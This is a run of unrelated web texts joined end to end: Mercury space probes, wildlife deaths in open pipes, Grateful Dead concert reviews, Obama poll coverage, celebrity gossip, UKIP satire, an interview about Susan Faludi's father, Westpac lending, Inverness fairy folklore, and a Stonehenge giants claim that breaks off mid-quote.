bounce a radar signal off Mercury and receive it, starting radar observations of the planet.[146][147][148] Three years later, radar observations by Americans Gordon Pettengill and R. Dyce, using the 300-meter Arecibo Observatory radio telescope in Puerto Rico, showed conclusively that the planet's rotational period was about 59 days.[149][150] The theory that Mercury's rotation was synchronous had become widely held, and it was a surprise to astronomers when these radio observations were announced. If Mercury were tidally locked, its dark face would be extremely cold, but measurements of radio emission revealed that it was much hotter than expected. Astronomers were reluctant to drop the synchronous rotation theory and proposed alternative mechanisms such as powerful heat-distributing winds to explain the observations.[151] Water ice (yellow) at Mercury's north polar region Italian astronomer Giuseppe Colombo noted that the rotation value was about two-thirds of Mercury's orbital period, and proposed that the planet's orbital and rotational periods were locked into a 3:2 rather than a 1:1 resonance.[152] Data from Mariner 10 subsequently confirmed this view.[153] This means that Schiaparelli's and Antoniadi's maps were not "wrong". Instead, the astronomers saw the same features during every second orbit and recorded them, but disregarded those seen in the meantime, when Mercury's other face was toward the Sun, because the orbital geometry meant that these observations were made under poor viewing conditions.[143] Ground-based optical observations did not shed much further light on Mercury, but radio astronomers using interferometry at microwave wavelengths, a technique that enables removal of the solar radiation, were able to discern physical and chemical characteristics of the subsurface layers to a depth of several meters.[154][155] Not until the first space probe flew past Mercury did many of its most fundamental morphological properties become known. Moreover, recent technological advances have led to improved ground-based observations. In 2000, high-resolution lucky imaging observations were conducted by the Mount Wilson Observatory 1.5 meter Hale telescope. They provided the first views that resolved surface features on the parts of Mercury that were not imaged in the Mariner 10 mission.[156] Most of the planet has been mapped by the Arecibo radar telescope, with 5 km (3.1 mi) resolution, including polar deposits in shadowed craters of what may be water ice.[157] Research with space probes MESSENGER being prepared for launch being prepared for launch [158] Mercury transiting the Sun as viewed by the Mars rover Curiosity (June 3, 2014). Reaching Mercury from Earth poses significant technical challenges, because it orbits so much closer to the Sun than Earth. A Mercury-bound spacecraft launched from Earth must travel over 91 million kilometres (57 million miles) into the Sun's gravitational potential well. Mercury has an orbital speed of 48 km/s (30 mi/s), whereas Earth's orbital speed is 30 km/s (19 mi/s). Therefore, the spacecraft must make a large change in velocity (delta-v) to enter a Hohmann transfer orbit that passes near Mercury, as compared to the delta-v required for other planetary missions.[159] The potential energy liberated by moving down the Sun's potential well becomes kinetic energy; requiring another large delta-v change to do anything other than rapidly pass by Mercury. To land safely or enter a stable orbit the spacecraft would rely entirely on rocket motors. Aerobraking is ruled out because Mercury has a negligible atmosphere. A trip to Mercury requires more rocket fuel than that required to escape the Solar System completely. As a result, only two space probes have visited it so far.[160] A proposed alternative approach would use a solar sail to attain a Mercury-synchronous orbit around the Sun.[161] Mariner 10 Mariner 10, the first probe to visit Mercury, the first probe to visit Mercury The first spacecraft to visit Mercury was NASA's Mariner 10 (1974–1975).[125] The spacecraft used the gravity of Venus to adjust its orbital velocity so that it could approach Mercury, making it both the first spacecraft to use this gravitational "slingshot" effect and the first NASA mission to visit multiple planets.[159] Mariner 10 provided the first close-up images of Mercury's surface, which immediately showed its heavily cratered nature, and revealed many other types of geological features, such as the giant scarps that were later ascribed to the effect of the planet shrinking slightly as its iron core cools.[162] Unfortunately, the same face of the planet was lit at each of Mariner 10's close approaches. This made close observation of both sides of the planet impossible,[163] and resulted in the mapping of less than 45% of the planet's surface.[164] The spacecraft made three close approaches to Mercury, the closest of which took it to within 327 km (203 mi) of the surface.[165] At the first close approach, instruments detected a magnetic field, to the great surprise of planetary geologists—Mercury's rotation was expected to be much too slow to generate a significant dynamo effect. The second close approach was primarily used for imaging, but at the third approach, extensive magnetic data were obtained. The data revealed that the planet's magnetic field is much like Earth's, which deflects the solar wind around the planet. For many years after the Mariner 10 encounters, the origin of Mercury's magnetic field remained the subject of several competing theories.[166][167] On March 24, 1975, just eight days after its final close approach, Mariner 10 ran out of fuel. Because its orbit could no longer be accurately controlled, mission controllers instructed the probe to shut down.[168] Mariner 10 is thought to be still orbiting the Sun, passing close to Mercury every few months.[169] MESSENGER MESSENGER on April 30, 2015 Estimated details of the impact ofon April 30, 2015 A second NASA mission to Mercury, named MESSENGER (MErcury Surface, Space ENvironment, GEochemistry, and Ranging), was launched on August 3, 2004. It made a fly-by of Earth in August 2005, and of Venus in October 2006 and June 2007 to place it onto the correct trajectory to reach an orbit around Mercury.[170] A first fly-by of Mercury occurred on January 14, 2008, a second on October 6, 2008,[171] and a third on September 29, 2009.[172] Most of the hemisphere not imaged by Mariner 10 was mapped during these fly-bys. The probe successfully entered an elliptical orbit around the planet on March 18, 2011. The first orbital image of Mercury was obtained on March 29, 2011. The probe finished a one-year mapping mission,[171] and then entered a one-year extended mission into 2013. In addition to continued observations and mapping of Mercury, MESSENGER observed the 2012 solar maximum.[173] The mission was designed to clear up six key issues: Mercury's high density, its geological history, the nature of its magnetic field, the structure of its core, whether it has ice at its poles, and where its tenuous atmosphere comes from. To this end, the probe carried imaging devices that gathered much-higher-resolution images of much more of Mercury than Mariner 10, assorted spectrometers to determine abundances of elements in the crust, and magnetometers and devices to measure velocities of charged particles. Measurements of changes in the probe's orbital velocity were expected to be used to infer details of the planet's interior structure.[174] MESSENGER's final maneuver was on April 24, 2015, and it crashed into Mercury's surface on April 30, 2015.[175][176][177] The spacecraft's impact with Mercury occurred near 3:26 PM EDT on April 30, 2015, leaving a crater estimated to be 16 m (52 ft) in diameter.[178] MESSENGER First (March 29, 2011) and last (April 30, 2015) images of Mercury by BepiColombo The European Space Agency and the Japanese Space Agency developed and launched a joint mission called BepiColombo, which will orbit Mercury with two probes: one to map the planet and the other to study its magnetosphere.[179] Launched on October 20, 2018, BepiColombo is expected to reach Mercury in 2025.[180] It will release a magnetometer probe into an elliptical orbit, then chemical rockets will fire to deposit the mapper probe into a circular orbit. Both probes will operate for one terrestrial year.[179] The mapper probe carries an array of spectrometers similar to those on MESSENGER, and will study the planet at many different wavelengths including infrared, ultraviolet, X-ray and gamma ray.[181] Comparison Size comparison with other Solar System objects Mercury, Earth Earth, Mars Mercury, Venus Front: Pluto, Haumea Back row: Mars, MercuryFront: Moon See also Notes ^ In astronomy, the words "rotation" and "revolution" have different meanings. "Rotation" is the turning of a body about an axis that passes through the body, as in "Earth rotates once a day." "Revolution" is motion around a centre that is external to the body, usually in orbit, as in "Earth takes a year for each revolution around the Sun." The verbs "rotate" and "revolve" mean doing rotation and revolution, respectively. ^ Pluto was considered a planet from its discovery in 1930 to 2006, but after that it has been reclassified as a dwarf planet. Pluto's orbital eccentricity is greater than Mercury's. Pluto is also smaller than Mercury, but was thought to be larger until 1976. ^ 2 and 2.5 miles is taken to equal 4 km, Solomon's estimate would equal about 700 cubic kilometres of ice, which would have a mass of about 600 billion tons (6 × 10 14 kg). If the area of Washington is about 177 kmand 2.5 miles is taken to equal 4 km, Solomon's estimate would equal about 700 cubic kilometres of ice, which would have a mass of about 600 billion tons (610kg). ^ See Twilight#Astronomical twilight ^ Some sources precede the cuneiform transcription with "MUL". "MUL" is a cuneiform sign that was used in the Sumerian language to designate a star or planet, but it is not considered part of the actual name. The "4" is a reference number in the Sumero-Akkadian transliteration system to designate which of several syllables a certain cuneiform sign is most likely designating.Avian Mortality Epidemic - Death Pipes Death Pipes are everywhere and are responsible for a hidden, avian mortality epidemic. Please get involved and pass this information on to others and help raise awareness of this preventable killing of wildlife. Any open top vertical pipe can be a death trap to birds and other wildlife. This problem is a nearly invisible. Unlike birds colliding with buildings, windows or other structures where they remain visible and obvious to people, birds trapped in pipes end up dying a slow death, completely unnoticed in open posts, sewer systems, septic tanks, or other hidden locations. Hollow metal and plastic (PVC) pipes and posts are found throughout the world and serve a variety of purposes. Wildlife (birds, reptiles, small mammals) mortalities, including species of conservation concern, have been documented in mine claim marker posts (Brattstrom 1995, Lahontan and Red Rock Audubon Societies 2009) which resulted in passing a law in Nevada that called for the removal of all PVC mine claim markers across the state (American Bird Conservancy 2011). However, wildlife mortalities in pipes (death pipes) are not limited to uncapped mine claim marker posts. In March, 2009, an employee of the Audubon California's Kern River Preserve in the Kern River Valley, California discovered a fallen irrigation standpipe 6" (15 cm) in diameter and 10' (3 m) tall on adjacent California Department of Fish and Game land that contained numerous bird carcasses and remains of other wildlife. Alarmingly, the fallen pipe contained the remains of over 200 dead birds. Four additional pipes were identified and subsequently cut down. All contained dead bird debris (although we were unable to collect it because it fell down the vertical pipes and collected underground in the horizontal buried pipe). This is a widespread problem that kills millions of birds and one that individuals can work to solve with little cost and effort. It is not just the occasional bird trapped in certain situations. We have found hundreds of bird carcasses in a single 6" (15 cm) steel pipe. Nearly every pipe we have looked in contained bird remains - also reptiles and small mammals. Pipes immediately attract curious birds. Twice we have found dead birds in 3" (8 cm) steel pipes that were leaned against a building for only a few days. One pipe trapped two House Finches and one pipe trapped a Rock Wren. It is not just cavity nesters. Forty-five species of birds (and several species of lizards and small mammals) have been documented being trapped in pipes. This is not just a problem with certain materials or large sizes of pipes. Reports often suggest that PVC is problematic because it is smooth and birds can't climb out. We've documented birds trapped in all types of pipe including rusty steel and pipes as small as 1.5" (4 cm) in diameter. Birds don't climb out of pipes. EVERY residential (i.e. your house) and most commercial buildings have multiple vent pipes protruding from the roof. Farms, ranches, construction sites, etc. often have open vertical pipes in a variety of situations. PROBLEMS/SOLUTIONS: Remove any pipe that can be removed - this is a permanent solution! Cap or fill pipes that can't be removed - NV state regulations require that PVC claim markers be capped; however PVC caps get knocked off or don't hold up to the elements. Make certain that caps are permanent. PVC Mining Claim markers - Open topped PVC pipes are not legal in NV. PVC pipe is not legal for marking claims in CA. The Bureau of Land Management (BLM) and individual states regulate this, and regulations may vary by state. If you locate an open topped mining claim marker you can fill with sand or rocks or cap with a large well-fitted rock. GPS the location and contact your region's BLM office. Often these are markers on abandoned claims and can be removed by BLM. Nevada has recently passed a law allowing citizens to pull up open topped markers and lay them on the ground next to the location. Residential rooftop plumbing & heating vents - These are steel or PVC pipes protruding from rooftops. They must remain open to allow plumbing & heating systems to vent properly. These can be covered with 1/2" (1 cm) galvanized hardware cloth held in place by stainless steel pipe clamps (there is some concern that raptors can get their talons caught; in addition, the wire mesh may get clogged with debris). There are also commercially available vented caps that can be installed (one possible source is: http://savepipey.net/ ). Steel pipe used for fence posts - Typical chain link fence posts are 1 1/2"-2 1/2" (4-6 cm) in diameter. These can be capped with off-the-shelf caps available at any hardware store or fencing supplier. Underground irrigation system vents - 8"-10" (20 - 25 cm) diameter pipe (often old well casing) is commonly used to make gate posts on
fast MLB-type, or Feelin Groovy, whichever you prefer jam, followed by a rocked-out Know You Rider-ish jam before turning on a dime into - a fast 2 chord jazz riff that REALLY sounds a lot like Eyes of the World. Did the Dead suddenly jump forwards in time?? You decide. This jam is as smooth as cream cheese on a toasted bagel. Then they land you back into the 2nd verse with soaring blazing guitars, before gently fading away as the bells chime. A near perfect version. If 1968 can be said to be the year when they mastered The Other One, then 1969 was certainly the year that Dark Star came into its own. And what we celebrate here is a matured, late 69 version that shows all the signs of a band in its full jam potential, and they prove it for half an hour! This Dark Star needs your full attention - take some special time to get magical, light the incense, light the candles and prepare to be enchanted. The rest of the show is no slouch either. A strong St. Stephen is followed by an amazing, rolling, tumbling wheel on fire that is The Eleven. Phil and the drummers steal the show here - how many ways can they turn those 11 beats inside out? And finally, the Dead get back to their blues roots with a soul-wrenching version of Death Don't that sounds like Jerry's singing his last song on earth. A real spiritual experience. Were it complete, this could almost be a top ten show for me. As it is, it's a landmark show that belongs in your 1969 collection. Enjoy!! Dr. Flashback :-) - November 8, 20051969 must have!! Reviewer: jammy - favorite favorite favorite favorite favorite - October 13, 2005 Subject: Great Dark Star I love this show. The Dark Star is one of my top ten and the Eleven and Death Don't are right on target imo. Download this one now especially if you like 69-70 Dead. Personally, I don't mind partial posts if they are like this one. I know it's blasphemy, but I do edit shows from 3 disc to 2 or 2 to 1 if I won't listen to the songs. After over 800 cd's of Grateful Dead I'm becoming a bit more selective. I know some of you have all the shn's in external drives, so in case of total world destruction I should be able to get them from you. - October 13, 2005Great Dark Star Reviewer: 003phan - favorite favorite favorite favorite - October 5, 2005 Subject: Dark Star 30 plus minutes the dark star is def a stand out in the history of the deads career, but it i think most people are forgeting that they had pushed songs past 30 mins before this date, and yes better stars are out there; however, what makes this star so unique is that the boys were really jamming as a collective unit, this is an example of how a real jam band should sound. personally I think the dark star from the 10-25-1969 is better than this one, but for the 68-73 dark stars i have yet to hear one i didnt like. I give the recording a 5 and the playing a 4.75. - October 5, 2005Dark Star 30 plus minutes Reviewer: JRimLik - favorite favorite - September 15, 2005 Subject: Come On Good Star for sure. Yet I can also think of at least 10 pretty quickly from '69-'72 that are much better. Am I the only old school Head out here who hates partial show posts? I lost a tape of this, the Midnight Hour is killer. Long Live Pigpen. - September 15, 2005Come On Reviewer: direwolf600 - favorite favorite favorite favorite - August 18, 2005 Subject: Agree w/ the Captain. This Dark Star is definetely a major and significant version for the band. I have found them struggling with it though. Which isn't a bad thing necessarily. The struggle is most likely brought about by the fact that they were really pushing. That said, the parts of the 30 minutes where they are all together are really spectacular. For my money its the Eleven and Death that I really turn to this show for. There are many better DS in 72-74 that aren't halted by pig. That may seem abit harsh but I believe it. What makes the DS so incredible is that this is 1969!!!!!!!!Unreal. Its dripped so much psychodelic sweat we could start a community swimming pool. 4.5 for sound. These great pre 70s recording always blow me away. Death Don't does too. 7.5/10 - August 18, 2005Agree w/ the Captain. Reviewer: bossgobbler - favorite favorite favorite favorite - May 17, 2005 Subject: DS We always called the later part of the DS jam the "Tighten Up" jam after the Archie Bell and the Drells tune. - May 17, 2005DS Reviewer: darkstarpat - favorite favorite favorite favorite favorite - May 3, 2005 Subject: Dark Star Jams The jam towards the end of Dark Star is brought back on the Dark Star from 10/31/71 (DP 2), and I'm sure they rocked that out other times too. - May 3, 2005Dark Star Jams Reviewer: phleshy - favorite favorite favorite favorite favorite - March 16, 2005 Subject: Dark Star!!!! This show rates 5 stars for the 30-minute Dark Star alone. Holy shit! The jam in the middle between the 1st & 2nd verses is pure nirvana. I've never heard another Dark Star with a jam quite as melodic as this one. The boys were really on this night. That they cranked out another amazing Dark Star only six days after this amazing version is, well, amazing. - March 16, 2005Dark Star!!!! Reviewer: capn doubledose - favorite favorite favorite favorite favorite - March 15, 2005 Subject: Is it wierd? I like the rest of the set more than this dark star however, I can now rest in knowing that the 'only the beginning' jam jer commonly went into in the middle of dark stars in this period was first rather than chicago which clearly ripped it off as they did not come out until the following year - ok I will be charitable maybe there was something in the air... Love the descent into the eleven with jer's oooowwwh thats hot. Phil is popping away and love Tom on the Hammond. Wud like more musica here but cannot complain with the flawless sound and great vibes.... - March 15, 2005Is it wierd? Reviewer: josewavo - favorite favorite favorite favorite favorite - February 5, 2005 Subject: Dark Star Gem! Things change and Time moves on but the bands ability to paint a canvas with their energy and interruptive powers remains one of the most significant highlights in 21st century artisctic achievements. On par with Van Gogh, Jerry's rendering of this Dark Star is so deeply personal and intuitive that it will no doubt register within you a unique and mysterious spot on your soul. It is a holy visit from the enitre band and one that will make you feel like a very welcomed guest. - February 5, 2005Dark Star Gem! Reviewer: phishphreak81686 - favorite favorite favorite favorite favorite - January 25, 2005 Subject: darkstar amazing darkstar great sound too bad the whole shows not there - January 25, 2005darkstar Reviewer: StrawRider - favorite favorite favorite favorite favorite - January 19, 2005 Subject: Incomplete Show......but am I complaining? Heck no. If Dark Star had been left off, then things would have been ugly. But I jest and borderline waste your time. Don't waste your own time by leaving this show without getting a download. If you did that then you would not hear: Dark star crashes, pouring itÂs light into ashes. Reason tatters, the forces tear loose from the axis. Searchlight casting for faults in the clouds of delusion. Shall we go, you and I while we can Through the transitive nightfall of diamonds? The Dark Star majestic version of this show is the most 'listenable' of any version I have heard. It's at once erie and then equally beautiful. The jam reminds me of perhaps an early germ of inspiration for Eyes of the World. I almost expected Jerry to sing "Right outside this lazy Summer home" but instead heard this: Mirror shatters in formless reflections of matter. Glass hand dissolving to ice petal flowers revolving. Lady in velvet recedes in the nights of good-bye. Shall we go, you and I while we can Through the transitive nightfall of diamonds? A definite landmark here. - January 19, 2005Incomplete Show... Reviewer: gratefulshrink - favorite favorite favorite favorite favorite - January 11, 2005 Subject: Dark Star for the Ages Perhaps my favorite Dark Star (and probably the best for 1969), but, surprisingly, not on everyone's top ten list. Anyway, this one has it all -- psychedelic rock/jazz/bluegrass. Timeless. Treat your DeadHead friends to it, and turn on novices to it. - January 11, 2005Dark Star for the Ages Reviewer: reef_1214 - favorite favorite favorite favorite favorite - November 7, 2004 Subject: DARK STAR Definetely 5-star rating for this one, even though a 5-song show its still a must have for those with a weakness for '69 Dead. Main highlight being Dick's "Pick" for best Dark Star ever(rightfully so), clocked at 30 minutes. Not to mention fantastic sound quality. - November 7, 2004DARK STARThe headline on The Hill’s homepage yesterday read, “Obama’s approval dips ahead of midterms.” As Eric Boehlert noted, there’s a lot of this kind of reporting going around. The news media reminders arrive almost daily now: President Obama’s approval rating is low and going lower. McClatchy Newspapers highlighted the “dropping approval ratings,” while the Washington Post declared “President Obama’s approval ratings have plunged to record lows.” The Christian Science Monitor noted the numbers have “plummeted.” The Washington Examiner stressed the president’s approvals were “sinking to historic lows,” while an Atlantic headlined announced, “Obama’s Sinking Approval Could Drag Democrats Down With Him.” The portrait being painted by an array of media artists is unmistakable: Obama’s approval ratings are not only weak but they’re going down, down, down. But it’s not true. It’s obviously beyond dispute that President Obama’s support is nowhere near its heights from 2009, but the perception of Obama in freefall just isn’t correct. The most recent Pew Research Center poll showed the president’s approval rating inching higher. So did the latest Fox News poll. The latest Washington Post/ABC poll showed the president’s approval rating up three points. The most recent CNN poll released earlier this week found Obama’s approval rating reaching its highest point of the year. The new Gallup tracking poll results haven’t been published just yet, but yesterday, the president had a 43% approval rating. At the start of the year, it was 42%. By no fair definition would anyone characterize Obama as popular, but the data clearly doesn’t support the “plunged to record lows” talk. So why do we hear it quite so often? I suspect is has something to do with attempts to make sense of the 2014 midterms – Republicans are running a hyper-aggressive anti-Obama campaign, predicated on the assumption that voters who’ve turned against the president will also turn against candidates from the president’s party. Indeed, there’s already been amble Beltway chatter about how much responsibility Obama should shoulder for the Democrats’ midterm difficulties. The answer is, not much. In fact, Brian Beutler explained that several key Dems are already outperforming the president in their respective states. If I had to, I’d put money on Democrats losing [Senate races in Georgia, Kansas, and Kentucky]. But you have to be really invested in a certain conception of politics to explain races that close in states that red as evidence of a national anti-Obama wave. Or to attribute their losses to insufficient Obama bashing. If roles, parties, and states were reversed, and Democrats were barely hanging on to Senate seats in (for instance) California, Washington, and Connecticut, the obvious story wouldn’t be that Republicans were compounding their disadvantages. It would be that Republicans were outperforming fundamentals in Democratic strongholds. If those Republicans went on to lose anyhow, it wouldn’t support the view that their strategies were flawed, or executed poorly. It would rather suggest that even a good, well executed campaign strategy usually can’t overwhelm the basic nature of the electorate. Obviously, if the president were riding high in the polls, we’d see a very different midterm dynamic. But despite the chatter, the picture of a president with plummeting support, making it impossible for Democrats to compete, isn’t an accurate one.Justin Bieber I Wanna Move to Atlanta Now It's Hip Hop Heaven Justin Bieber -- I Wanna Move to Atlanta Now... It's Hip Hop Heaven EXCLUSIVE is a fickle kind of guy... we've learned he's now looking at homes in the Atlanta area because it puts him smack in the middle of a hip hop mecca.Bieber's been in Atlanta since last week -- where he's been partying shirtless with-- and sources close to the singer tell us, he's fallen in love with the city all over again. Bieber lived in Atlanta briefly when he first moved to the United States years ago -- after Scooter Braun signed him -- and his most recent trip has stirred up very fond memories.In addition to Diddy, Bieber's been hanging with southern staplesand-- and we're told he's already asked them about where to buy the nicest real estate in the city.Added bonus -- Atlanta isn't the paparazzi hive that L.A. is... and Bieber has been enjoying the extra privacy... for now. (Of course, paps tend to go where the money is -- and Bieber's a walking bank.)It also makes sense because we're told Bieber is transitioning into hip hop -- he's Bizzle now.This does NOT mean Bieber is abandoning L.A. As we first reported, he's been looking at 20 acre estates in Hidden Valley... around 20 miles from his current home in Calabasas.He can definitely afford 2 homes.UKIP have updated Schrödinger’s famous thought experiment by insisting that immigrants exist in a state of both lazing around on benefits whilst simultaneously being out there stealing British jobs. A UKIP spokesman declared the observation true until said immigrant is directly observed, and that there was a dire need for further studies on the phenomenon. UKIP’s Roy Jenks explained, “These people clearly need further observation. EU bureaucrats in Brussels have somehow introduced ambiguous and confusing red tape that threatens our widely held lazy stereotypes.” He continued “Some bloke down the pub who knows – for definite – told me that Romanians in particular have been stealing his job, and if that’s not bad enough, they’re also too lazy to work because cause they’re all on the dole.” Hobbs added,“So it’s tricky.” “They need to be studied extensively, secure and in isolation for a prolonged period of time for objective results. Many people are surprised how closely these scientific conditions resemble a prison cell in Strangeways.” Schrödinger’s immigrant We tried to verify these allegations with several migrant workers, though all claimed to be unable to follow Mr Jenks’ line of thinking. One worker who wished to remain anonymous stated, “He is stupid prick, yes?” Local employer Simon Williams said that he fully supported UKIP’s latest thought experiment. “I employ a couple of Europeans, yes. And sure, they certainly put a shift in when they’re at work. But they could equally be at home at the same time being lazy and claiming benefits, couldn’t they?” “I don’t see what the issue is?” “This UKIP fella ‘Schrödinger’ sounds smart, how can I vote for him?”In 'The Darkroom,' A Writer Comes To Grips With Her Dad's Gender Transition In the summer of 2004, after two decades of estrangement, Pulitzer Prize-winning writer Susan Faludi received an email from her father. It read: Dear Susan, I've got some interesting news for you. I've decided that I have had enough of impersonating a macho aggressive man that I have never been inside. The letter was signed, "Love from your parent, Stefánie." Faludi's 76-year-old father, Steven, had had gender reassignment surgery. It was the last thing Faludi expected, given the man she remembered. "My father was the sort of quintessential domineering, hyper-masculine patriarch who forbade my mother to work and was aggressive in all the classic ways, and even — toward the end of my parents' marriage — violent," she tells NPR's Renee Montagne. "So this 180-degree turn threw me for a loop for sure." At the same time, the letter gave Faludi a mission: She had earned her reputation as a feminist by writing about gender roles, and her thoughts were largely in reaction to her emotionally unavailable bully of a father. Now this email offered an invitation into his — now her — inner life. Faludi packed her bags and made her way to Budapest, Hungary, where her father was living. In the Darkroom is Faludi's book about her father's journey. Stefánie Faludi died in 2015. Interview Highlights On seeing her father for the first time after the transition When I first arrived in Hungary, my father arrived at the airport to greet me wearing a kind of a traditional matronly outfit with a big white pocketbook and pearl earrings. And in those first few weeks my father seemed quite insistent on projecting a 1950s Doris Day womanhood. He seemed to want to go back to a period where women were in the kitchen, and even was referring to herself as "the dumb broad" and had this notion that to be a woman was to be taken care of, to have men "kiss your hand," which is a very traditional Hungarian phrase. And so here am I, this devoted lifelong feminist who rebelled against these very characteristics of femininity, listening to my father extol them. Enlarge this image toggle caption Courtesy of Susan Faludi Courtesy of Susan Faludi On coming to understand her father's early attitude toward womanhood A trans friend of mine was very helpful on this point when I was puzzling over it and she said, "Think about it as a kind of delayed adolescence." And I had to think back, embarrassingly, to my 13-year-old self who was obsessed with Maybelline and how to put on mascara. And I think with my father, also, this extreme femininity was a way of breaking out of a previous life of extreme masculinity. She had to counter one with the other. On what she wanted to know about her father, who had grown up during World War II My father, when I was growing up, said very, very little about her experience as a child. She was a wealthy Jewish teenage boy living in Budapest until the war, in which many of our family members perished. And my father [tried] to pass as Christian with false identity papers and a stolen fascist armband, and even used that armband at one point to rescue my grandparents. So growing up I had a few little glimpses, but my father would shut down the conversation immediately, sort of typical of many Holocaust survivors. So when I went back to Hungary, I very much wanted to know that early story and how it fit in with my father's multiple identity transformations. And in a sense that gets at the core of the story I'm trying to tell about identity and what is this thing — identity — that we are all so obsessed about? And a lot of the questions I have about identity boil down to whether identity is something you choose or the very thing you can't escape. And my father's own understanding of that exploration was essential to her figuring out something about herself and to attaining a certain peace with herself. On whether becoming a woman gave her father peace Life doesn't give you any simple, quick fixes.... In many ways, of course, she was still the same person inside — still had to grapple with the same problems. But I do know that my father never regretted the surgery and it did seem to give her some relief. In particular, she felt that as a man... she would say over and over again, "I wasn't able to communicate," and that as a woman she felt it gave her permission to reach out to people, to ask for things, to be more open. And that was an enormous relief for her, to break out of that isolation. And so I do think, ultimately, she gained a measure of peace from her change. Whether it would have been her final change, if she had lived longer, I don't know.WESTPAC has been accused of bankrupting a 98-year-old woman after lending her more than $400,000 to invest in property. At a Senate hearing today, Westpac faced claims that a Gold Coast bank manager signed up at least four elderly people for loans worth up to $800,000 promising them a return of 15 per cent, reports The Australian. One 98-year old nursing home resident, who is now 101 years old, was lent $440,000 through a 30-year loan investment to invest in a Queensland property developer that collapsed and left her broke. It is understood the “rogue” branch manager is no longer with Westpac. National senator Williams said the case of the 98-year-old woman should be referred to the police. "I have heard a number of very sad stories," Senator Williams told the hearing. "I'm very concerned about these low-doc loans." "This is a case of a bank manager talking people into investing in companies that fell over," he said. "I'm aware in this country and around the world we have rogues, I'm aware you are a good bank and you can't stand behind every bank manager, but this is a case of a bank manager who filled in the forms for a 98-year-old woman." Read the full story at The Australian. (Subscription) Originally published as Westpac 'lent' $440,000 to 98-year-oldThis clip shows Italian migrant Nino Culotta (Walter Chiari), who has just arrived from Italy, walking down a busy Sydney street. He enters a crowded bar to buy a drink, but encounters problems when the barmaid uses unfamiliar terms such as'schooner’ and'middy’. An Australian man (Jack Allen) at the bar assists him and buys him a drink, teaching him about the custom of the'shout’, and engaging him in conversation that includes Australian slang. Misunderstandings ensue, but are ultimately sorted out, and the clip ends with the two men sharing a second beer together. This clip starts approximately 15 minutes into the feature. Nino enters the Marble Bar which is noisy and full of people. He makes his way through the crowd to the bar. Barmaid What’ll it be? Nino Culotta If you please, I wish to drink some beer. Barmaid A schooner or a middy? Nino looks confused and hesitates. Nino If you please, I wish to drink some beer. Barmaid (in a louder voice) A schooner or a middy? Man How long you been in Australia, mate? Nino Oh, I just arrived today, sir. Man Oh, that explains it. These big glasses are called schooners and the small ones are middies. Nino Oh, thank you. Barmaid Schooner or middy? Nino Uh, I wish to have a middy. Man Have one with me. Two schooners, thanks Jean. Nino Thank you. I would be extremely delighted to accept your kind invitation. Man Where do you come from? Nino I am Italian. Man Are ya? Big bloke like you? You don’t look it. Nino Please, what means ‘big bloke’? Man Ah, well, everyone’s a bloke. You’re a bloke, I’m a bloke. We’re all blokes. Cheers. Nino Cheers The men raise their glasses and drink. Man Tasted Australian beer before? Nino No, this is the first time. Man Best beer in the world. Puts a gut on you, though. What do you do for a crust? Nino I’m sorry, sir, but I didn’t understand you. Man How do you earn your living? Nino Oh, I’m a writer. Man In Italian? Nino Yes, in Italian. Man Well, your turn. Nino Please, what means my turn? Man Your turn to shout. Nino Why I should shout? Man Because I shouted you. Nino I’m sorry, I didn’t hear you shout me. Man When a bloke buys you a beer it’s called a ‘shout’, see? Now I shouted you. Now it’s your turn to shout for me. Nino Oh. I’m sorry but I think I do not wish to drink another beer. Man Now listen, in this country if you want to keep out of trouble, you always return a shout, see? Nino Oh, is it a custom? Man Bloody oath, it’s the custom. Your shout! Nino Alright. Excuse me, sir. It would be offensive for your susceptibility if I buy a drink for you and I don’t buy another drink for me? Man That’s the worst insult you can give a man. Jean… Nino I wish to shout. The men receive their beers and chink glasses, smiling at each other. Nino What do you do for your crust? Man Me? I do shipwork down the … hey, did you hear what he said? Cheers. Nino Cheers.Tomnahurich Hill – which means hill of the yews – is a rounded tree covered hillock on the outskirts of Inverness, the hill has a wealth of traditions associated with it, and it is famed as an abode of the fairies. A modern cemetery now covers the hill. The most enduring tradition connected with the hill is that fiddlers (or a fiddler) were lured into playing at fairy revelry, and emerged after one night beneath the hill to find that hundreds of years had passed in their own world. The story has two basic forms, in one a solitary fiddler falls asleep on the hill and wakes up in an underworld palace. He is made to play all night for the entertainment of the fairy queen, and finally awakes on the shores of the River Ness, later to discover that a hundred years have passed. The other story features two fiddlers and is outlined below: The Fiddlers of Tomnahurich Two travelling fiddlers were visiting Inverness looking for places where they could play, while searching for a suitable venue they met an old man in strange clothes, who asked them if they would perform for him. They agreed and followed the old man to the wooden hill of Tomnahurich, just as the sun slipped out of view over the Western horizon. There was an opening in the side of the hill through which they followed the old man into a brightly lit cavern hall, where a great feast was underway. The feast was attended by a host of people, all dressed in colourful finery, and each seeming to have an air of enchantment and beauty about them. They sat down at one of the many tables and preceded to enjoy the fine wine and the rich food served before them. When it came the time for dancing they played their fiddles and the party got into full swing, each fiddler playing better than they had ever played before. Finally, in what seemed like no time at all, the feast was over and it was time for the fiddlers to leave. Their noble company thanked them, and the old man who had led them into the hillside paid them with a bag of silver and gold coins. The fiddlers left the hill in a fine mood, and walked back towards the centre of Inverness. As they neared the town they saw that everything had changed, where there was once dense woodland buildings now stood, as if they had appeared overnight. All the people they met along the way were dressed in strange looking clothes, and poked fun at the fiddlers ‘old fashioned’ clothing. The fiddlers decided that they had been enchanted in some strange way and made the return journey to their town. When they arrived they were dismayed to find that everything they knew here had also changed; their homes were no longer occupied and they recognised no one. In despair they ran into the local church where the local priest was in the midst of delivering a sermon. As soon as the priest spoke the word of God both fiddlers crumbled to dust in front of the eyes of the horrified congregation. The difference in time between this world and the world of the fairy races is an important folklore motif found in many tales about the otherworld. The way the unfortunate fiddlers crumbled to dust after returning to their own world is also often found in folk tales such as that of King Herla. There are many more traditions associated with the hill, Thomas the Rhymer is said to be buried beneath it, or to live within it, ready to lead an army of men and white steeds to rally Scotland in its hour of need. In Celtic myth Fion trained his dog to lead two of every species of animal around the hill in pairs to unravel enchantment by an Irish enemy. Directions: The hill is just off the A82, to the West of the River Ness.Who built Stonehenge? One creationist claims to have the answer: Giants. Not just any giants, either. Theologist Dr. Dennis Lindsay, president and CEO of Christ For The Nations, claims Satan created a race of giants to build the ancient megalithic site. Speaking last week on the TV show hosted by disgraced televangelist Jim Bakker, Lindsay announced that Satan had created the giants to infiltrate and destroy Israel. It's not clear how arranging stones to align with the sun on the solstice in England would help destroy Israel, but that didn't stop Lindsay -- who has no background in archaeology listed on his website -- from pressing the case. "He's out to destroy God's creation and his whole plan of redemption and contaminate the human race because Jesus came not to save hybrids or non-human beings or fallen angels or Lucifer," 